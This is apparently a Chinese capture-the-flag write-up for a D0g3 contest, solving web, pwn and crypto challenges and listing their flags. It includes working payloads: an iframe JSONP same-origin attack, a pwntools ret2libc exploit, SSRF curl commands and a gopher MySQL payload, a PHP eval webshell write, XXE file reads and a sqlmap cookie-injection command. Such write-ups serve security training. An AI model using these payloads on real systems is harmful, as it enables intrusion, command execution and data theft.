签到题
解出么元是 c,md5加密,flag:D0g3{4a8a08f09d37b73795649038408b5f33}
webN
题目:
你们点的大餐
http://222.18.158.245:6080/
tip:Some攻击
tip2:为什么不问问富萝莉客服呢?虽然她有点傲娇
hint: https://pan.baidu.com/s/1F93XXi68eqU1uw_Pl7_kfQ 提取码:tv5y
confirm.php 存在jsonp操作,可控,直接修改网上脚本,父页面执行pay方法
poc:
<iframe src="http://222.18.158.245:6080/reward.php" name=b></iframe>
<iframe name=a></iframe>
<script>
window.frames[0].open('http://222.18.158.245:6080/confirm.php','a');
setTimeout(
function(){
window.frames[1].location.href = 'http://222.18.158.245:6080/confirm.php?callback=window.opener.pay';
}
,1000);
</script>
获取到flag:D0g3{Same_Orig1n_Method_ExCute_1s_eAsy}
巴西-neko(200)
第一次两次溢出泄露got任意两个函数的地址去查libc版本,找到/bin/sh的偏移,system函数有就很简单了
第二次启shell,栈溢出的题目的一般方法
#!/usr/bin/python
from pwn import *
context(log_level = "debug", os = "linux", arch = "i386")
elf = "./neko"
#LIBC = "libc64.so"
elf = ELF(elf)
libc = elf.libc
tar = remote('149.248.7.48',9999)
#-----------------------------------------------------------------
def dbg(script = "", elf = elf, arch = "amd64"):
gdb.attach(tar, gdbscript = script)
def sh():
tar.interactive()
#-----------------------------------------------------------------
system = elf.plt["system"]
puts = elf.plt["puts"]
puts_got = elf.got["puts"]
puts_off = 0x05f140
binsh_off = 0x15902b
vuln = 0x080486E7
#-----------------------------------------------------------------
tar.sendlineafter("cats?\n",'y')
pl = ''
pl += '1' * 0xd4
pl += p32(puts)
pl += p32(vuln)
pl += p32(puts_got)
tar.sendafter("anchovies:\n",pl)
tar.recvline()
libc_base = u32(tar.recv(4)) - puts_off
binsh = libc_base + binsh_off
success("libc base : "+hex(libc_base))
pl = ''
pl += '1' * 0xd4
pl += p32(system)
pl += p32(binsh) * 2
tar.sendafter("anchovies:\n",pl)
sh()
哈萨克-hiahiahia(200)
很简单的一个题目,和oj上的一个类似,溢出覆盖arg[0]利用stack-chk-fail打印flag。。。懒到不想写脚本
格林兰-web1-无限手套(200)
提示参数NOHO
,尝试过后可以用数组绕过,拿到post提交框
提交后发现源码返回了sql语句
<!--SELECT master FROM secret WHERE password = binary ' �k�F!�s��N�&'��'-->
后面的参数是md5加密后的值
md5(test) => �k�F!�s��N�&'��
因此可以想到构造
ffifdyop
成功拿到flag
e5e8b79aeb213ad6e0e4664e78aff61b
哥伦比亚-web2(200)
题目提示
The Intranets are in range 10.10.1.0/16
Please use right protocols :)
在name提交框那里随便提交一个test,发现输出到了url的url参数
于是利用burpsuite,使用http协议扫描一波内网主机
curl -v 'http://222.18.158.227:10180/?url=http%3A%2F%2F10.10.1.0-255'
有10.10.1.3
和10.10.1.6
两台主机,利用同样的方法扫描端口,发现只有80端口,并且只有10.10.1.6
主机才有d0g3.php,访问10.10.1.6/d0g3.php
提示
<!--$_GET[d0g3]-->
传入
curl -v 'http://222.18.158.227:10180/?url=http://10.10.1.6/d0g3.php?d0g3=phpinfo();'
发现执行了命令
于是读取flag
curl -v 'http://222.18.158.227:10180/?url=http://10.10.1.6/d0g3.php?d0g3=echo `cat flag.txt`; '
拿到flag
D0g3{SSRF_Is_So_Easy}
only d0g3er can see flag(200)
searchtype=5&searchword={if{searchpage:year}&year=:e{searchpage:area}}&area=v{searchpage:letter}&letter=al{searchpage:lang}&yuyan=(join{searchpage:jq}&jq=($_P{searchpage:ver}&&ver=OST[9]))&&9[]=phpinfo();
search.php 命令执行
尝试写入shell,菜刀连接失败
searchtype=5&searchword={if{searchpage:year}&year=:e{searchpage:area}}&area=v{searchpage:letter}&letter=al{searchpage:lang}&yuyan=(join{searchpage:jq}&jq=($_P{searchpage:ver}&&ver=OST[9]))&9[]=file_put_contents('../shelll.php','<?php%20@eval($_POST[c])?>');
发现git源码泄漏,发现common.inc.php的数据库配置文件,直接构造读取flag
解码后得到flag:D0g3{This_is_real_flag}
马利-Magic Mirror(400)
思路是在忘记密码处,填入管理员账户admin
,重置管理员账号密码,然后登录管理员账号。
但是重置时会发送重置邮件,根据官方的提示,抓包将host改为vps地址,然后在vbs上开启一个web服务,目标主机就会带着重置token去访问我们的vps,然后我们利用这个token访问密码重置页面就能重置admin密码了
登录后还有一个输入框,任意提交一个字符串后抓包发现
<information><username>test</username></information>
xxe无误,直接读取文件
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ENTITY myentity SYSTEM "php://filter/read=convert.base64-encode/resource=file:///var/www/html/flag.php" >]>
<information><username>&myentity;</username></information>
拿到flag的base64编码
PD9waHAKaGVhZGVyKCJDb250ZW50LVR5cGU6IHRleHQvaHRtbDtjaGFyc2V0PXV0Zi04Iik7CmVjaG8gIjxjZW50ZXI+PGZvbnQgc2l6ZT0nNScgY29sb3I9J3JlZCc+IjsKZWNobyAiWW91IHdhbm5hIGNhcHR1cmUgdGhpcyBmbGFnPyI7CmVjaG8gIjxicj48YnI+IjsKZWNobyAiT2ggeWVzLCBoZXJlISI7CmVjaG8gIjxicj48YnI+IjsKZWNobyAiQnV0IG5vdywgIjsKZWNobyAiPGJyPjxicj4iOwplY2hvICJHZXQgb3V0ISI7CmVjaG8gIjwvZm9udD48L2NlbnRlcj4iOwovL2ZsYWc6IEQwZzN7SGlfRDBnM19SZXMzdF80bmRfeFhlfQoKCj8+Cg==
土耳其-simple sqli
一开始以为是二次注入,因为注册一个test’,登录后会报错。后面发现是cookie注入
sqlmap -r sql.txt --cookie "PHPSESSID=p6364j7vahfs88uiesq03g1e25;uname=1" --dbms mysql --level 2 --tamper base64encode,charencode --sql-shell
当时进入了sql-shell,但是马上时间截止了,很慌就没来得及找web路径,赛后发现有phpinfo
直接读取flag
select load_file('/www/sqli/secret.php')
base64解码后就是flag
D0g3{iaown_oiasnd_asdasda}
乌干达-Hash!!!(200)
响应头的source改为1就能拿到核心源码,可以看到是hash拓展长度攻击,利用hashpump来构造poc
hashpump
Input Signature: c3ef608fdc59d9143c39664ade7556d5
Input Data: D0g3
Input Key Length: 20
Input Data to Add: test
5e38fe415ce2786f4ae79776038f53ee
D0g3\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xc0\x00\x00\x00\x00\x00\x00\x00test
将\x改为%,将POST的username改为D0g3,password改为D0g3%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%c0%00%00%00%00%00%00%00test,cookie加入getflag: 5e38fe415ce2786f4ae79776038f53ee
拿到flag
D0g3{h4sh_1s_s0_diffic1ut_t0_me}
蒙古-Diglett(400)
就是个执行curl的命令,尝试了下貌似只能http协议还只能是本地地址,但是多次尝试后发现可以任意文件读取
curl -d "url=fifilele://127.0.0.1/etc/passwd" http://54.200.169.99:7001/index.php
还给了个提示
<!-- index.php?hu3debug=1-->
拿到源码,没啥用,因为已经绕过了,再读取下配置文件
curl -d "url=fifilele://localhost/var/www/config.php" http://54.200.169.99:7001/index.php
拿到mysql配置信息
$hosts = "localhost";
$dbusername = "test_user";
$dbpasswd = "";
$dbname = "test";
$dbport = 3306;
然后利用gopherus工具直接生成poc
Give MySQL username: test_user
Give query to execute: select * from test.flag
Your gopher link is ready to do SSRF :
gopher://127.0.0.1:3306/_%a8%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%74%65%73%74%5f%75%73%65%72%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%18%00%00%00%03%73%65%6c%65%63%74%20%2a%20%66%72%6f%6d%20%74%65%73%74%2e%66%6c%61%67%01%00%00%00%01
提交就能拿到flag
D0g3{G0ph1er_4nd_55rf_1s_1nt3rest1ng!}
越南-BOOM(200)
扫到了robots.txt和/admin/login.html,robots.txt里有/readme_.html,拿到了管理员用户名和错的密码
直接爆破,这里用了非预期来爆破
直接把cookie和post的验证码去掉就能绕过验证码进行爆破了,但是不绕过也不难,脚本里加入时间戳就行了
70e052657cb40cf142883abaff266fee
德国-方舟计划(300)
011000110110000101101001011100000110100101100001011011110011011000101110011110100110100101110000
hex(int('011000110110000101101001011100000110100101100001011011110011011000101110011110100110100101110000',2))
‘0x6361697069616f362e7a6970’
得到caipiao6.zip 下载审计
在api.php存在弱类型
for($i=0; $i<7; $i++){
if($numbers[$i] == $win_numbers[$i]){
$same_count++;
}
}
- {“action”:“buy”,“numbers”:[true,true,true,true,true,true,true]}
最终可以得到 Flag
D0g3{150754621171553}